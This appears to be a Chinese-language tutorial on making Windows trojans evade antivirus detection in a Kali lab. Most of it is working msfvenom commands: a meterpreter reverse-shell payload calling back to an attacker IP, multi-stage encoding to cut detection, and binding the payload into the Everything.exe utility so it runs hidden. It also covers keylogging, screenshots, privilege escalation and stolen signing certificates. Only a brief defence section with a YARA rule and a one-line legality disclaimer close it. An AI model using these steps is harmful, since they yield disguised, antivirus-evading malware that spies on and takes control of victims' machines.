1. 环境准备与基础配置
在开始构建Windows免杀木马之前,我们需要先搭建一个合适的实验环境。我建议使用Kali Linux作为攻击机,Windows 10 32位系统作为靶机。这两个系统可以运行在虚拟机中,确保实验环境与真实网络隔离。
网络配置是第一个需要解决的问题。很多新手会遇到Kali能ping通Windows但反向不通的情况,这通常是因为网关设置不一致。我遇到过好几次这种情况,后来发现只要把Windows的网关改成和Kali一致就能解决。具体操作是:在Kali终端输入ip route show查看默认网关,然后在Windows的网络设置中手动配置相同的网关地址。
验证网络连通性时,我喜欢先用简单的ping测试:
ping 10.250.70.252 # 从Kali ping Windows如果出现丢包,可能需要检查防火墙设置。Windows Defender防火墙默认会阻止ICMP请求,可以临时关闭或添加入站规则放行ping请求。
2. 制作常规木马与检测分析
使用msfvenom生成基础木马非常简单,但容易被杀软检测。我们先从基础命令开始:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.250.70.251 LPORT=5555 -f exe -o /root/a.exe这个命令生成的a.exe就是最基础的反弹shell木马。我把它上传到Virustotal检测时,50多个引擎中有40多个都能识别,检出率高得惊人。
为什么这么容易被发现?因为杀毒软件维护着庞大的特征库,会检查PE文件中的特定字节序列。meterpreter的载荷特征早已被各大厂商收录。有一次我测试时,刚上传文件不到5分钟就被Windows Defender删除了,连扫描网站都没来得及打开。
3. 多重编码免杀技术实战
要让木马逃过检测,必须对载荷进行混淆。shikata_ga_nai编码器是msfvenom自带的优秀工具,我习惯把它和其他编码器组合使用:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.250.70.251 LPORT=5555 -e x86/shikata_ga_nai -i 5 -f raw | \ msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | \ msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | \ msfvenom -e x86/countdown -a x86 --platform windows -i 10 -x -f exe -o /root/b.exe这个命令管道进行了四次编码处理,最后生成b.exe。实测下来,多重编码能使检出率降低60%以上。不过要注意,迭代次数(-i参数)不是越多越好,超过15次可能会导致载荷不稳定。
4. 木马捆绑与隐蔽启动
单纯的免杀还不够,还需要让木马看起来像正常程序。我最常用的方法是捆绑技术:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.250.70.251 LPORT=5555 -f exe -x Everything.exe -o /root/Everything2.exe这里用Everything.exe(一款常用文件搜索工具)作为宿主程序。当用户运行Everything2.exe时,会先启动原始程序界面,同时在后台悄悄执行我们的木马。有个小技巧:选择那些不需要管理员权限就能运行的常用工具作为宿主,可以降低用户警惕性。
5. 监听配置与会话管理
生成木马只是第一步,我们还需要配置监听器。在Kali上启动msfconsole后,我习惯这样设置:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.250.70.251 set LPORT 5555 exploit -j-j参数让监听在后台运行。当靶机执行木马后,会话会自动建立。这时可以用sessions -i 1连接会话。
meterpreter提供了丰富的后期利用命令。我经常用的几个:
getuid # 查看当前权限 sysinfo # 获取系统信息 keyscan_start # 键盘记录 screenshot # 截取屏幕如果发现权限不够,可以尝试getsystem提权。有一次测试中,我通过迁移进程到explorer.exe成功绕过了UAC。
6. 反检测策略进阶技巧
除了编码和捆绑,还有其他方法可以增强隐蔽性:
- 时间延迟执行:在载荷中添加sleep调用,避开杀软的初始扫描窗口
- 内存注入:不直接生成exe,而是将shellcode注入到合法进程
- 证书签名:使用伪造或窃取的代码签名证书
- 流量混淆:使用SSL/TLS加密C2通信
我最近测试的一个有效方法是分阶段载荷。首阶段只包含最小功能,后续模块通过网络动态加载。这样即使首阶段被检测,核心功能仍然安全。
7. 防御措施与检测方法
作为安全从业者,我们也要了解如何防御这类攻击。企业环境中可以采取以下措施:
- 部署行为分析杀毒软件(如CrowdStrike)
- 限制普通用户的执行权限
- 监控异常网络连接
- 定期更新系统和软件补丁
对于安全研究人员,可以使用YARA规则检测可疑的PE文件特征。我写过一个简单的规则来检测meterpreter载荷:
rule meterpreter_suspicious_strings { strings: $a = "meterpreter" wide ascii $b = "metsrv" wide ascii condition: any of them }在实际项目中,免杀技术需要不断迭代更新。我每隔两周就会测试新的编码组合,因为杀软的检测规则也在持续进化。记住,这些技术只应用于合法授权测试,未经授权的渗透测试可能涉及法律风险。